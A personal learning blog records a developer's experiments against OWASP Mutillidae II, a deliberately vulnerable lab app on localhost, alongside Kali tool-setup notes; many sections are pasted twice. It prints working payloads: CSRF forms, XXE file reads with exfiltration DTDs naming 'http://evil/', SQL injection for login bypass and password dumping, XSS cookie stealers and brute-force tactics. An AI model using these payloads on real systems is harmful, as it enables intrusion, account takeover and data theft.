About this blog
I'm a developer with over 10 years experience who wants to transition to infosec. This blog is an informal record of my experiments with OWASP's Mutillidae II, a web application exhibiting a multitude of deliberate vulnerabilities. I will also take Offensive Security's PWK training course and get the OSCP certificate
Friday, 2 September 2016
Thursday, 1 September 2016
CSRF GET, POST and token bypass
There's a page that allows an admin to create new users. We want to get the admin's browser to make a request for us, using a CSRF.
If there is no CSRF protection, we can lure the admin to visit a page controlled by us, and submit a form, using GET. Or POST if required.
GET
<html>
<body>
<p>Thankyou for visiting!</p>
<img height="0" width="0" src="https://localhost/mutillidae/index.php?page=register.php&username=baloobas2&password=bar&confirm_password=bar&my_signature=wizz®ister-php-submit-button=Create+Account"/>
</html>
Verify it's in the DB:
Note: I realize I have confused myself as to what will and won't work - and where from - by not hosting my attacks on a different domain. I will start again on this at some point but using a different attack domain. Anyway, the CSRF work below is still relevant if it can be executed via stored or reflected XSS on the target site, which surely must be possible in Mutillidae.
If the site has CSRF protection then we can first get the admin's browser to make a request to get the form (containing security tokens) before submitting it back with the data filled in. So I thought I'd do that with an iframe.
It works on 'hosed' security, but when I turned on client-side security something funny happened - the app detected it was in an iframe and loaded itself into the main window! Thwarted. So my next quest was to find a way around that or a different approach entirely...
I thought about creating a new window and reaching across to that (I think it's possible), but that would require a new window, and everybody blocks popups. No doubt popup blocking is bypassable somehow but it seemed like a potentially long road.
After googling around I discovered I could sandbox an iframe so, along with other security restrictions applied by default, the page wouldn't know it was an iframe. I had to explicitly remove a security restrictions so that the enclosing document could access it, and then another for the iframe to be able to submit a form. Here's how it looks:
<iframe id="naughty" onload="loaded()" src="/mutillidae/index.php?page=register.php" style="visibility:hidden" sandbox="allow-same-origin allow-forms"></iframe>
Now it works! Here is my user in the DB.
However it doesn't work with on the highest security level. The console spits out:
Load denied by X-Frame-Options
This met with the same error:
document.getElementById("content").innerHTML='<object type="text/html" data="/mutillidae/index.php?page=register.php"></object>';
However I managed to get the token using AJAX and regex:
$.ajax({
url : "/mutillidae/index.php?page=register.php",
success : function(result){
token = /name="csrf-token" type="hidden" value="(.+)"/mg.exec(result)[1];
alert(token);
}
});
To be continued...
If there is no CSRF protection, we can lure the admin to visit a page controlled by us, and submit a form, using GET. Or POST if required.
GET
<html>
<body>
<p>Thankyou for visiting!</p>
<img height="0" width="0" src="https://localhost/mutillidae/index.php?page=register.php&username=baloobas2&password=bar&confirm_password=bar&my_signature=wizz®ister-php-submit-button=Create+Account"/>
</html>
Verify it's in the DB:
POST
<html>
<body>
<p>Thankyou for visiting!</p>
<form id="naughty" method="POST" action="https://localhost/mutillidae/index.php?page=register.php">
<input type="hidden" name="username" value="haxxor999"/>
<input type="hidden" name="password" value="whatever"/>
<input type="hidden" name="confirm_password" value="whatever"/>
<input type="hidden" name="my_signature" value="whatever"/>
<input type="hidden" name="register-php-submit-button" value="Create Account"/>
</form>
<script>document.getElementById('naughty').submit();</script>
</html>
Verify it's in the DB:
CSRF protection circumvention
Note: I realize I have confused myself as to what will and won't work - and where from - by not hosting my attacks on a different domain. I will start again on this at some point but using a different attack domain. Anyway, the CSRF work below is still relevant if it can be executed via stored or reflected XSS on the target site, which surely must be possible in Mutillidae.
If the site has CSRF protection then we can first get the admin's browser to make a request to get the form (containing security tokens) before submitting it back with the data filled in. So I thought I'd do that with an iframe.
First I coded up a standalone web page with security level 'hosed' to make sure everything was working (actual bad guys don't get this luxury, eh?). It took me a while because I'm new to javascript/browser DOMs and so forth. Learn by making mistakes!
xss_csrf.html
<html>
<html>
<body>
<p>Nothing to see here...</p>
<script>
var fired = false;
function loaded() {
if (fired) return;
fired = true;
var iframe = document.getElementById('naughty');
var doc = iframe.contentWindow.document;
var form = doc.forms[0];
doc.getElementsByName("username")[0].value = 'haxxor1000';
doc.getElementsByName("password")[0].value = 'whatever';
doc.getElementsByName("confirm_password")[0].value = 'whatever';
doc.getElementsByName("my_signature")[0].value = 'whatever';
doc.getElementsByName("register-php-submit-button")[0].click();
}
</script>
<iframe id="naughty" onload="loaded()" src="/mutillidae/index.php?page=register.php" style="visibility:hidden"></iframe>
</body>
</html>
It works on 'hosed' security, but when I turned on client-side security something funny happened - the app detected it was in an iframe and loaded itself into the main window! Thwarted. So my next quest was to find a way around that or a different approach entirely...
I thought about creating a new window and reaching across to that (I think it's possible), but that would require a new window, and everybody blocks popups. No doubt popup blocking is bypassable somehow but it seemed like a potentially long road.
After googling around I discovered I could sandbox an iframe so, along with other security restrictions applied by default, the page wouldn't know it was an iframe. I had to explicitly remove a security restrictions so that the enclosing document could access it, and then another for the iframe to be able to submit a form. Here's how it looks:
<iframe id="naughty" onload="loaded()" src="/mutillidae/index.php?page=register.php" style="visibility:hidden" sandbox="allow-same-origin allow-forms"></iframe>
Now it works! Here is my user in the DB.
However it doesn't work with on the highest security level. The console spits out:
Load denied by X-Frame-Options
This met with the same error:
document.getElementById("content").innerHTML='<object type="text/html" data="/mutillidae/index.php?page=register.php"></object>';
However I managed to get the token using AJAX and regex:
$.ajax({
url : "/mutillidae/index.php?page=register.php",
success : function(result){
token = /name="csrf-token" type="hidden" value="(.+)"/mg.exec(result)[1];
alert(token);
}
});
To be continued...
XXE experimentation
XXE = XML eXternal Entities.
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT bar ANY>
<!ENTITY file SYSTEM "/etc/passwd">
]>
<bar>&file;</bar>
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT bar ANY>
<!ENTITY begin "<[CDATA[">
<!ENTITY end "]]>">
<!ENTITY file SYSTEM "foo.txt">
]>
<bar>&begin;&file;&end;</bar>
Exfiltration with HTTP call
I wondered whether I could get the data out via an HTTP call:
...
<!ENTITY file SYSTEM "helloworld.txt">
<!ENTITY leak SYSTEM "http://localhost/?&file;">
]>
<bar>&leak;</bar>
The XML validator page in Mutillidae takes XML as input.
http://localhost/mutillidae/index.php?page=xml-validator.php&xml=whatever
We can make the parser include a file using a SYSTEM entity.
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT bar ANY>
<!ENTITY file SYSTEM "/etc/passwd">
]>
<bar>&file;</bar>
The SYSTEM entity can also grab remote resources using protocols such as HTTP.
Bad characters
The problem is that the content of the document is parsed as XML (and in accordance with the DOCTYPE), and this will often blow up due to undeclared entities, undeclared elements, and so on therein. So the types of document that can be grabbed, either locally or remotely, is limited. For example trying to load this sort of malformed content will blow up:
foo.txt: >!!<]>
This obviously isn't going to overcome it:
<bar><![CDATA[&file;]]></bar>
I really thought this would work, but it still tries to parse the file entity as XML (and fails):
<!DOCTYPE foo [
<!ELEMENT bar ANY>
<!ENTITY begin "<[CDATA[">
<!ENTITY end "]]>">
<!ENTITY file SYSTEM "foo.txt">
]>
<bar>&begin;&file;&end;</bar>
Eventually I consulted an XXE guide, which told me I could get a CDATA section to work using parameters and a bit of indirection:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT bar ANY>
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % file SYSTEM "foo.txt">
<!ENTITY % dtd SYSTEM "http://localhost/join.dtd">
%dtd;
]>
<bar>&joined;</bar>
join.dtd: <!ENTITY joined "%start;%file;%end;">
This does work (returning text >!!<]>), but it still has limitations, such as blowing up if it encounters a % character that isn't also a valid parameter reference. I.e. 'foo % bar' will blow up, but 'foo %bar;' won't (although '%bar;' doesn't refer to a valid param it doesn't count as an error, just a warning).
Exfiltration with HTTP call
I wondered whether I could get the data out via an HTTP call:
...
<!ENTITY file SYSTEM "helloworld.txt">
<!ENTITY leak SYSTEM "http://localhost/?&file;">
]>
<bar>&leak;</bar>
That doesn't work though. After reading around the subject a bit, I tried parameter expansion.
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT bar ANY>
<!ENTITY % file "helloworld.txt">
<!ENTITY % dtd SYSTEM "http://localhost/join2.dtd">
%dtd;
%leaker;
]>
<bar>&leak;</bar>
join2.dtd: <!ENTITY % leaker "<!ENTITY leak SYSTEM 'http://localhost/?%file;'>">
This does work, resulting in a call to ?helloworld on the server, but it's an overall failure because the file parameter is merely a string, not a SYSTEM entity. Because if I make it a SYSTEM entity to read a file, it blows up (Invalid URI: http://localhost/?helloworld). It read the file data and constructed the URL just fine, it just doesn't want to call it!
I even tried copying somebody else's code pretty much verbatim, which does it only a slightly different way (managing to encode the % into the body of a param entity so that the leak can take place before any XML parsing takes place - all in the preprocessing section):
<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "../helloworld.txt">
<!ENTITY % dtd SYSTEM "http://localhost/send.dtd">
%dtd;
%leaker;
%leaker;
%leak;
]]>
send.dtd:
<!ENTITY % leaker "<!ENTITY % leak SYSTEM 'http://evil/?%file;'>">
%all;
That fails with the same error message. Hmm.. no joy. Something to investigate more another time, I don't want to be beaten! But moving on for now...
Denial of service
Oops:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT bar ANY>
<!ENTITY file SYSTEM "/dev/random">
]>
<bar>&file;</bar>
Or:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT bar ANY>
<!ENTITY % dtd SYSTEM "http://localhost/blackhole.dtd">
%dtd;
]>
blackhole.dtd: %dtd;
I also tried entity A pointing at entity B, which pointed back at entity A, for a black hole. But that didn't work.
Other
The OWASP slides 'What You Didnt Know About XXE Attacks' have more interesting attacks in them, such as this one:
Amazing! :-)
I also tried entity A pointing at entity B, which pointed back at entity A, for a black hole. But that didn't work.
Other
The OWASP slides 'What You Didnt Know About XXE Attacks' have more interesting attacks in them, such as this one:
- Getting the server to retrieve a WAR from evilserver as part of a SYSTEM directive
- Holding the port open at the end of the xfer to leave the temp file in place
- Triggering deployment of the tempfile WAR, which contains a shell
Amazing! :-)
Wednesday, 31 August 2016
RFI and LFI with directory traversal
The 'Styling with Mutillidae' page has an iframe in it, with the iframe src being set by a parameter.
http://localhost/mutillidae/index.php?page=styling-frame.php&page-to-frame=styling.php%3Fpage-title%3DStyling+with+Mutillidae
RFI works: http://localhost/mutillidae/index.php?page=styling-frame.php&page-to-frame=http://foo.com
I tried to find a URL on the net with a .php extension that was a text/plain mimetype (so I could see my server run the remote code), but failed. I think that is how one would get a shell on a box using RFI though - include a remote .php with the shellcode in it.
LFI obviously works: http://localhost/mutillidae/index.php?page=styling-frame.php&page-to-frame=phpinfo.php
Directory traversal LFI also works on the page param: http://localhost/mutillidae/index.php?page=/etc/passwd&page-to-frame=phpinfo.php
Client controls more than just params
Re-enter pass XSS
Creating fake log entries with HTML injection
Revising history
In the page where you can add blog comments, the insert statement is subject to a sqli.
INSERT INTO blogs_table(blogger_name, comment, date) VALUES ('admin', 'comment', now())
A comment can therefore be made to appear it was created at an arbitrary time:
gone back in time', now()-60*60*24);#
INSERT INTO blogs_table(blogger_name, comment, date) VALUES ('admin', 'comment', now())
A comment can therefore be made to appear it was created at an arbitrary time:
gone back in time', now()-60*60*24);#
This page is also vulnerable to stored XSS, because we can put anything we like (javascript) into a comment.
User lookup page vulnerabilities
You have to enter a user/pass and it will return the info for that account.
The SOAP requests are injectable.
The API is a bit chatty:
User stabinthedark does not exist
User admin already exists
The API allows us to createUser without any security.
The getUser operation can be made to list enumerate all users.
' or username like '%';#
Because it's a non-blind sqli, we can use it to get passwords (or any other data we know the table/column names of), stuffing the results into a column like signature:
admin' union select username, password from accounts where username = 'admin' limit 1,1;#
Because the permissions are so bad, we can even look up all the tables (and from there all the columns, and from there all the content...):
admin' union select table_schema, table_name from information_schema.tables;#
updateUser just overwrites data without any security checks at all. Entering naughty things into the fields resulted in a chatty error message (decoded by this) telling me how the query was formulated.
UPDATE accounts
SET
username = 'admin',
password = 'default',
mysignature = 'default'
WHERE
username = 'admin';
Because this is a multiline statement, it's a bit tricker to inject, but still doable. But why bother when it is already allowing you to update accounts with no authentication or authorization checks!
The page is also vulnerable to reflected XSS, e.g. injecting
...into this GET...
..leads to the 'attacker' page being called.
To return all user info:
For the SQL version: or true;#
For the XPath version: ' or 'a' = 'a
For the SOAP version, all you have to do is install SoapUI, paste in the WSDL location to generate sample requests, then the API allows you to CRUD account entries - no security whatsoever.
Note: I had problems getting SoapUI 5.x.x to work with Kali, so I used 4.x.x instead.
The SOAP requests are injectable.
The API is a bit chatty:
User stabinthedark does not exist
User admin already exists
The API allows us to createUser without any security.
The getUser operation can be made to list enumerate all users.
' or username like '%';#
Because it's a non-blind sqli, we can use it to get passwords (or any other data we know the table/column names of), stuffing the results into a column like signature:
admin' union select username, password from accounts where username = 'admin' limit 1,1;#
Because the permissions are so bad, we can even look up all the tables (and from there all the columns, and from there all the content...):
admin' union select table_schema, table_name from information_schema.tables;#
updateUser just overwrites data without any security checks at all. Entering naughty things into the fields resulted in a chatty error message (decoded by this) telling me how the query was formulated.
UPDATE accounts
SET
username = 'admin',
password = 'default',
mysignature = 'default'
WHERE
username = 'admin';
Because this is a multiline statement, it's a bit tricker to inject, but still doable. But why bother when it is already allowing you to update accounts with no authentication or authorization checks!
The page is also vulnerable to reflected XSS, e.g. injecting
<script>new Image().src = "http://localhost/mutillidae/index.php?page=capture-data.php";</script>
...into this GET...
http://localhost/mutillidae/index.php?page=user-info.php&username=%3Cscript%3Enew+Image%28%29.src+%3D+%22http%3A%2F%2Flocalhost%2Fmutillidae%2Findex.php%3Fpage%3Dcapture-data.php%22%3B%3C%2Fscript%3E&password=&user-info-php-submit-button=View+Account+Details
..leads to the 'attacker' page being called.
I didn't bother to send the cookie and whatnot as payload (which I'd need if I sent the request to another domain) because it's trivial.
Labels:
chatty errors,
leakage,
mutillidae,
reflected xss,
soap,
sqli,
xpath,
xss
Subvert client-side validation
Turning client-side validation on in Mutillidae and trying a sqli results in:
First I tried turning Javacript off entirely, but that mangled the page.
Then I intercepted the page in Burp and just commented out the validation before it reached my browser.
Alternatively, just submit the form programmatically (e.g. curl, python, ...). Or save the page and edit it...
Client-side validation seems pretty worthless for security purposes.
First I tried turning Javacript off entirely, but that mangled the page.
Then I intercepted the page in Burp and just commented out the validation before it reached my browser.
Alternatively, just submit the form programmatically (e.g. curl, python, ...). Or save the page and edit it...
Client-side validation seems pretty worthless for security purposes.
Reflected XSS in page navigation param
The webapp loads pages on the server side based on a param:
https://localhost/mutillidae/index.php?page=login.php
Replacing login.php with <script>alert('foo');</alert> doesn't yield anything interesting visually, but looking at the HTML of the response:
All we need to do it close the href tag and it'll work.
https://localhost/mutillidae/index.php?page="/><script>alert('foo');</script>
After the dialog is dismissed (multiple times, but that doesn't matter), we see that it's created a bit of a mess on the page, which could be a giveaway:
This can be tidied up by making that mess part of a nonsense tag, which the renderer will ignore:
https://localhost/mutillidae/index.php?page="/><script>alert('foo');</script><blah wibble="
That results in a clean page. Now the alert box can be replaced with a cookie-sender.
https://localhost/mutillidae/index.php?page="/><script>new Image().src = "http://localhost/?"%2BencodeURIComponent(document.cookie)</script><blah wibble="
On the attacker's box:
$ tail -f access.log
::1 - - [31/Aug/2016:07:23:42 -0400] "GET /?showhints%3D1%3B%20username%3Dadmin%3B%20uid%3D1%3B%20PHPSESSID%3Dq5p2do7c17d64sfj5bvuem2si1 HTTP/1.1" 302 -
The attacker would then hope to get a user to click on the link somehow, say via a spear phishing email.
Now the attacker can probably access the site that has the reflected XSS vulnerability as the exploited user.
Of course stealing a session cookie is only one application of an XSS. The "XSS Payloads" website has a library of scary payloads that can take screenshots, keylog, remote control the browser, attempt to turn on your webcam and more.
https://localhost/mutillidae/index.php?page=login.php
Replacing login.php with <script>alert('foo');</alert> doesn't yield anything interesting visually, but looking at the HTML of the response:
All we need to do it close the href tag and it'll work.
https://localhost/mutillidae/index.php?page="/><script>alert('foo');</script>
After the dialog is dismissed (multiple times, but that doesn't matter), we see that it's created a bit of a mess on the page, which could be a giveaway:
This can be tidied up by making that mess part of a nonsense tag, which the renderer will ignore:
https://localhost/mutillidae/index.php?page="/><script>alert('foo');</script><blah wibble="
That results in a clean page. Now the alert box can be replaced with a cookie-sender.
https://localhost/mutillidae/index.php?page="/><script>new Image().src = "http://localhost/?"%2BencodeURIComponent(document.cookie)</script><blah wibble="
On the attacker's box:
$ tail -f access.log
::1 - - [31/Aug/2016:07:23:42 -0400] "GET /?showhints%3D1%3B%20username%3Dadmin%3B%20uid%3D1%3B%20PHPSESSID%3Dq5p2do7c17d64sfj5bvuem2si1 HTTP/1.1" 302 -
The attacker would then hope to get a user to click on the link somehow, say via a spear phishing email.
Now the attacker can probably access the site that has the reflected XSS vulnerability as the exploited user.
Of course stealing a session cookie is only one application of an XSS. The "XSS Payloads" website has a library of scary payloads that can take screenshots, keylog, remote control the browser, attempt to turn on your webcam and more.
Stored XSS vulnerability in log viewer
The log contains attempted login entries like this:
User foobar attempting to authenticate
The log is viewed as an HTML table, so we can try to inject some script in the username field.
<script>alert('hello');</script>
Now when we view the log:
Something more interesting:
<script>alert(document.cookie)</script>
An attacker would silently send the cookie to somewhere he could pick it up later:
<script>new Image().src = "http://localhost/?" + encodeURIComponent(document.cookie)</script>
On the attacker-controlled server:
$ tail -f access.log
::1 - - [31/Aug/2016:06:38:31 -0400] "GET /?showhints%3D1%3B%20PHPSESSID%3Dq5p2do7c17d64sfj5bvuem2si1 HTTP/1.1" 302 -
The attacker will hope to get the admin's cookie when the admin next views the logs webpage.
Of course stealing a session cookie is only one application of an XSS. The "XSS Payloads" website has a library of scary payloads that can take screenshots, keylog, remote control the browser, attempt to turn on your webcam and more.
Login bypass with crafted cookie
A successful login redirects back to the index page, with the following cookie:
uid=23; username=ed; PHPSESSID=<whatever>
Does just setting a uid in a cookie and then requesting the index page result in a login? Yes it does.
$ for uid in `seq 0 24`; do user=`curl -i -s -b "uid=${uid}" 'http://localhost/mutillidae/index.php' | grep Logged-In | cut -d ' ' -f2`; echo ${uid}, ${user}; done
0,
1, admin
2, adrian
3, john
4, jeremy
5, bryce
6, samurai
7, jim
8, bobby
9, simba
10, dreveil
11, scotty
12, cal
13, john
14, kevin
15, dave
16, patches
17, rocky
18, tim
19, ABaker
20, PPan
21, CHook
22, james
23, ed
uid=23; username=ed; PHPSESSID=<whatever>
Does just setting a uid in a cookie and then requesting the index page result in a login? Yes it does.
$ for uid in `seq 0 24`; do user=`curl -i -s -b "uid=${uid}" 'http://localhost/mutillidae/index.php' | grep Logged-In | cut -d ' ' -f2`; echo ${uid}, ${user}; done
0,
1, admin
2, adrian
3, john
4, jeremy
5, bryce
6, samurai
7, jim
8, bobby
9, simba
10, dreveil
11, scotty
12, cal
13, john
14, kevin
15, dave
16, patches
17, rocky
18, tim
19, ABaker
20, PPan
21, CHook
22, james
23, ed
Tuesday, 30 August 2016
DOS using sqli
With any sqli it's easy to completely clog up a service. In the case of login.php, we can just add the following:
' or (select(sleep(60)));#
This will effect a 60 second sleep for every row present in the accounts table. Like this it will be easy to totally exhaust the connection pool. Doing that a lot or for a decent duration is bound to attract the attention of any company, and would be fixed ASAP. Unless the DOS was for some specific high-value purpose (like preventing votes within a certain time period) then it would be a 'waste' of a sqli to do such a thing.
However an attacker could be more subtle and merely degrade the service by clogging up some fraction of the connection pool or introducing smaller delays across the whole pool, leading to customer dissatisfaction which could also be damaging (e.g. in low latency situation, such as retrieving highly volatile time-sensitive data). The target company would likely find this sort of thing harder to identify and track down, especially if the attacker did it intermittently.
Feasibility of brute forcing a remote login
Previously we brute-force mined the admin password using a blind sqli, to get the result adminpass.
But Mutillidae's login mechanism doesn't have a lockout either, and the password was weak, so maybe we could have successfully brute forced this password from a wordlist, without even having a sqli.
However, even something as simple as adminpass may take a very long time to come across, and depend on the wordlist used. On Kali, out of well over 100 wordlists, only 4 have it.
$ find -L /usr/share/wordlists -type f | wc -l
169
$ find -L /usr/share/wordlists -type f -exec grep -H ^adminpass$ {} \;
Binary file /usr/share/wordlists/sqlmap.txt matches
/usr/share/wordlists/metasploit/ipmi_passwords.txt:adminpass
/usr/share/wordlists/metasploit/default_pass_for_services_unhash.txt:adminpass
/usr/share/wordlists/metasploit/common_roots.txt:adminpass
Collapsing all the .txt wordlists down into a single list reveals there are about 2 million entries:
$ find -L /usr/share/wordlists "*.txt" -type f -exec cat {} \; | wc -l
2632913
$ find -L /usr/share/wordlists "*.txt" -type f -exec cat {} \; | sort | uniq | wc -l
1942391
If we gave the server 100 logins/sec (across many threads), that would take about 5.5 hours to exhaust that list for one account, which might be worthwhile for an attacker in terms of a quick hit and run. That is feasible.
But trying all combinations of characters is definitely less attractive over a network at a mere 100s of requests/second. Even a 5 character password of all lower case letters would be 11 million guesses...
This might still suit some attackers, I'm guessing. Maybe they could afford to drip-feed guesses in over days, weeks, or even months for the payoff. Or maybe the organization being targeted is so big and fielding so much traffic that 100s or 1000s of extra logins/sec aren't going to negatively impact anything, and monitoring/alerting may not even pick it up (or if so, maybe not immediately).
Rational guidelines that I can think of for an attacker might be:
Result:But Mutillidae's login mechanism doesn't have a lockout either, and the password was weak, so maybe we could have successfully brute forced this password from a wordlist, without even having a sqli.
However, even something as simple as adminpass may take a very long time to come across, and depend on the wordlist used. On Kali, out of well over 100 wordlists, only 4 have it.
$ find -L /usr/share/wordlists -type f | wc -l
169
$ find -L /usr/share/wordlists -type f -exec grep -H ^adminpass$ {} \;
Binary file /usr/share/wordlists/sqlmap.txt matches
/usr/share/wordlists/metasploit/ipmi_passwords.txt:adminpass
/usr/share/wordlists/metasploit/default_pass_for_services_unhash.txt:adminpass
/usr/share/wordlists/metasploit/common_roots.txt:adminpass
Collapsing all the .txt wordlists down into a single list reveals there are about 2 million entries:
$ find -L /usr/share/wordlists "*.txt" -type f -exec cat {} \; | wc -l
2632913
$ find -L /usr/share/wordlists "*.txt" -type f -exec cat {} \; | sort | uniq | wc -l
1942391
If we gave the server 100 logins/sec (across many threads), that would take about 5.5 hours to exhaust that list for one account, which might be worthwhile for an attacker in terms of a quick hit and run. That is feasible.
But trying all combinations of characters is definitely less attractive over a network at a mere 100s of requests/second. Even a 5 character password of all lower case letters would be 11 million guesses...
This might still suit some attackers, I'm guessing. Maybe they could afford to drip-feed guesses in over days, weeks, or even months for the payoff. Or maybe the organization being targeted is so big and fielding so much traffic that 100s or 1000s of extra logins/sec aren't going to negatively impact anything, and monitoring/alerting may not even pick it up (or if so, maybe not immediately).
Rational guidelines that I can think of for an attacker might be:
- Exact account needed = massive wordlist
- Volume/any-account-will-do: top N passwords by frequency fitting userbase profile
- Short of time or webscale company where traffic will be lost, stealth not needed: hit as hard as possible, parallelize, smash n grab
- Small company can't handle load, or stealth needed: drip feed
- Probably wouldn't bother at all with brute force combinations, when there are millions of publicly released actual passwords to create wordlists from (and humans are predictable) unless totally desperate for a specific account and not under time pressure
*** starting admin
100 passwords done for admin: rps=14 - 1234
200 passwords done for admin: rps=14 - 1986673
300 passwords done for admin: rps=14 - 3ware
400 passwords done for admin: rps=14 - 9ijn7ygv
500 passwords done for admin: rps=14 - CMSBATCH
600 passwords done for admin: rps=14 - HP
700 passwords done for admin: rps=13 - NAU
800 passwords done for admin: rps=14 - POSTMASTER
900 passwords done for admin: rps=14 - SESAME
1000 passwords done for admin: rps=14 - USER2
1100 passwords done for admin: rps=14 - accord
*** password for admin is adminpass (1122 requests)
*** elapsed minutes: 1.3283847778320312
*** starting bryce
...
*** password for bryce is PASSWORD (781 requests)
*** elapsed minutes: 0.9175332845052083
...
*** password for dave not found
*** elapsed minutes: 5.59463681233724
...
*** password for PPan is nottelling (3437 requests)
*** elapsed minutes: 4.195157751464844...
Well, you get the idea.
Monday, 29 August 2016
Brute force data mining with any sqli
So on the first page I looked at - login - there was a sqli. We can't get any SELECT output from the sqli (e.g. SELECT PASSWORD...), so I think that's called a 'blind' sqli.
Result:
Anyway, we can distinguish between an arbitrary proposition passing and failing (in our case by presence/absence of error message, although a timing attack would also do), and in conjunction with already knowing the table and column name (thanks to that chatty error message), it is enough to have a go at brute force mining the password, in case it is in plain text.
I mine the length first, for two reasons:
I mine the length first, for two reasons:
- It will cut the number of requests down (don't have to exhaust the character set at the end)
- My testing found that character indexes that didn't exist matched a space, and I couldn't be bothered to make a special case for detecting actual space versus a nonexistent char
I also looked up the frequency of password chars and test for them in that order, to reduce request volume.
length 9
password 'adminpass'
77 requests in total
It was plain text, which is bad. I think most people know by now to store salted hashes, and make the hash cost high.
Brute forcing is noisy, but really 77 requests is cheap to get a password! That sort of volume probably won't attract any attention, and nobody gets locked out of their account either (we aren't passing a username when we fail).
Really, any sqli will do. And if I didn't know the table/column name, I could get 'meta' and start brute force mining the schema/table/column names themselves and burrow top-down into interesting strings (really noisy, but it'll work if the permissions are good).
Labels:
blind sqli,
brute force,
chatty errors,
db mining,
guess optimiziation,
leakage,
mutillidae,
sqli
Embedding code snippets in blog posts
Currently pasting the code into a gist on GitHub (I didn't create a repo on day one) and then embedding that into Blogger. Disadvantages:
- Have to switch between HTML and regular post views when composing
- The code does not show up on post previews
- The code will not be indexed by search engines
There's bound to be a better way, which I will look for soon, before I write many more posts.
Configure system proxy in Kali
I decided to change proxying to be at the system level so that any scripts I wrote would also go through Burp (and not just Firefox requests).
- Change the Firefox proxy settings from 'Manual' to 'System proxy settings'
- In Kali, go to the settings for your network settings (e.g. 'Wired')
- Change proxy to 'Manual', fill in details as before
- Close and re-open apps so they become system-proxy-aware (the new $http_proxy won't be in running apps' environments)
Upgrade Kali to use a Java 8 JVM
My Kali was using Java 7 by default, and I had a need for 8.
- apt-cache search java (discover Kali uses openJDK and package name format is openjdk-N-jre)
- apt-get install openjdk-8-jre
- java -version
Install PyCharm python IDE in Kali
I'm used to writing Java in a nice IDE, i.e. IntelliJ IDEA. I don't know Python (I usually use bash for scripting in Linux), but I wanted to learn some. To write Python scripts I wanted something a bit nicer than vi/gedit/emacs. PyCharm is from the same company as IDEA.
- Download PyCharm (Community Edition is free. Note that I had burpsuite running and it didn't seem to like large downloads, I had to exit burp and undo my proxy settings temporarily)
- cd Downloads
- gunzip pyc*gz
- tar xvf pyc*tar
- ./pyc<tab>/bin/pycharm.sh &
You may need to upgrade Kali to use a Java 8 JVM, I did.
If you want any HTTP[S] requests you make to go via a proxy (such as Burp):
If you want any HTTP[S] requests you make to go via a proxy (such as Burp):
- Configure the system proxy
- (PyCharm) File => Settings => Appearance and Behavior => System Settings => HTTP Proxy, "Auto-detect proxy settings" (no script location)
Login sqli
The page allows you to discover whether an account exists, which is info leakage.
The username case doesn't seem to matter, admin, Admin, aDmIn are all treated the same.
Single quote in username field:
Query: SELECT username FROM accounts WHERE username='''; (0) [Exception]
Single quote in password field:
Query: SELECT * FROM accounts WHERE username='' AND password=''' (0) [Exception]
It also shows that MySQL is being used. An application should not be giving this kind of information away when an error happens.
Presumably if a row is returned, the app takes this as a successful auth, so let's try:
' or true;#
There are likely other accounts... and returning more than one row should have resulted in an expectations violation, but it didn't.
' or true limit 1,1;#
Not knowing Python at all (and wanting to learn it instead of using bash), it took me a while to write a satisfactory script to enumerate accounts:
Result:The username case doesn't seem to matter, admin, Admin, aDmIn are all treated the same.
Single quote in username field:
Query: SELECT username FROM accounts WHERE username='''; (0) [Exception]
Single quote in password field:
Query: SELECT * FROM accounts WHERE username='' AND password=''' (0) [Exception]
It also shows that MySQL is being used. An application should not be giving this kind of information away when an error happens.
Presumably if a row is returned, the app takes this as a successful auth, so let's try:
' or true;#
There are likely other accounts... and returning more than one row should have resulted in an expectations violation, but it didn't.
' or true limit 1,1;#
Not knowing Python at all (and wanting to learn it instead of using bash), it took me a while to write a satisfactory script to enumerate accounts:
{'bryce', 'dave', 'admin', 'cal', 'patches', 'jeremy', 'PPan', 'dreveil', 'samurai', 'scotty', 'jim', 'kevin', 'adrian', 'bobby', 'james', 'simba', 'john', 'rocky', 'ed', 'tim', 'ABaker', 'CHook'}
22 accounts
Or we could have just gunned straight for any user we know the name of, etc:
' or username = 'kevin';#
Labels:
audit logs,
blind sqli,
chatty errors,
enumeration,
mutillidae,
sqli
Configure BurpSuite on Kali
In my code developer positions I would normally use The Fiddler for interception/inspection/modification/replay, but I noticed some pentest jobs mentioning BurpSuite, so I thought I'd check it out.
The pre-installed version was quite a bit behind the latest.
The pre-installed version was quite a bit behind the latest.
- apt-cache search burp (OK, it's just called 'burpsuite')
- apt-get install burpsuite (upgrade if not recent)
- burpsuite &
- Proxy => Intercept => turn off for now
- (Firefox) Pereferences => Advanced => Network => Settings
- HTTP: 127.0.0.1 8080
- HTTPS: 127.0.0.1 8080
- Go to http://burp
- Click 'CA Certificate' to download
- (Firefox) Preferences => Advanced => Certificates => View Certificates => Import
- Select the certificate downloaded in (8)
- Check "Trust this certificate to authenticate servers"
- Browse an HTTP and HTPPS website
- Check Burp logs to confirm proxying
Replace Iceweasel with Firefox in Kali
- Close IceWeasel
- apt-get remove iceweasel
- echo -e "\ndeb http://downloads.sourceforge.net/project/ubuntuzilla/mozilla/apt all main" | tee -a /etc/apt/sources.list > /dev/null
- apt-key adv --recv-keys --keyserver keyserver.ubuntu.com C1289A29
- apt-get update
- apt-get install firefox-mozilla-build
(credit: Dr Chaos)
Install Mutillidae II on Kali
- Install XAMPP
- Download Mutillidae II
- cd Downloads
- unzip *mutillidae*.zip
- mv mutillidae /opt/lampp/htdocs
- Go to http://localhost/mutillidae
- Click 'recreate database' on the web page
Install and control XAMPP on Kali
Install
- Download XAMPP for Linux
- Open a terminal
- cd Downloads
- chmod u+rx <downloaded_file>
- ./<downloaded_file>
- Go to http://localhost
Control
I don't use the panel/GUI thing.
- /opt/lampp/xamp [start|stop|...]
Installing Kali on VirtualBox
- Download VirtualBox
- Install VirtualBox
- Download a Kali VirtualBox Image
- Unzip the .7z downloaded in (3)
- Start VirtualBox
- File => Import Appliance
- Select the image (.ova) unzipped in (4)
- Tick the box to re-initialize MAC addresses
- Click 'Import'
- Adjust created VM settings as desired (right-click the VM => Settings)
